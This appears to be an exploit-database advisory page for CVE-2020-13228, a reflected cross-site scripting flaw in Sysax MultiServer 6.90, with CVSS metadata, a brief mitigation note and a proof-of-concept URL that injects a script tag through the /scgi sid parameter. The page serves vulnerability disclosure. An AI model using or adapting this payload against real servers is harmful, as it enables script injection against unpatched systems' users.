header-logo
Suggest Exploit
vendor:
Sysax MultiServer
by:
Luca Epifanio (wrongsid3)
6.1
CVSS
MEDIUM
Reflected Cross Site Scripting
79
CWE
Product Name: Sysax MultiServer
Affected Version From: 6.90
Affected Version To: 6.90
Patch Exists: YES
Related CWE: CVE-2020-13228
CPE: a:sysax:sysax_multiserver:6.90
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 x64
2020

Sysax MultiServer 6.90 – Reflected Cross Site Scripting

There is reflected XSS via the /scgi sid parameter.

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.
Source

Exploit-DB raw data:

# Exploit Title: Sysax MultiServer 6.90 - Reflected Cross Site Scripting
# Google Dork: n.d.
# Date: 2020-06-02
# Exploit Author: Luca Epifanio (wrongsid3)
# Vendor Homepage: https://www.sysax.com/
# Software Link: https://www.sysax.com/download.htm
# Version: MultiServer 6.90
# Tested on: Windows 10 x64
# CVE : CVE-2020-13228

There is reflected XSS via the /scgi sid parameter.

PoC:
http://192.168.88.131/scgi?sid=684216c78659562c92775c885e956585cdb180fd
<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm

PoC Screen: https://pasteboard.co/J9eE2GQ.png

Navigation

Suggest Exploit

Services By CQR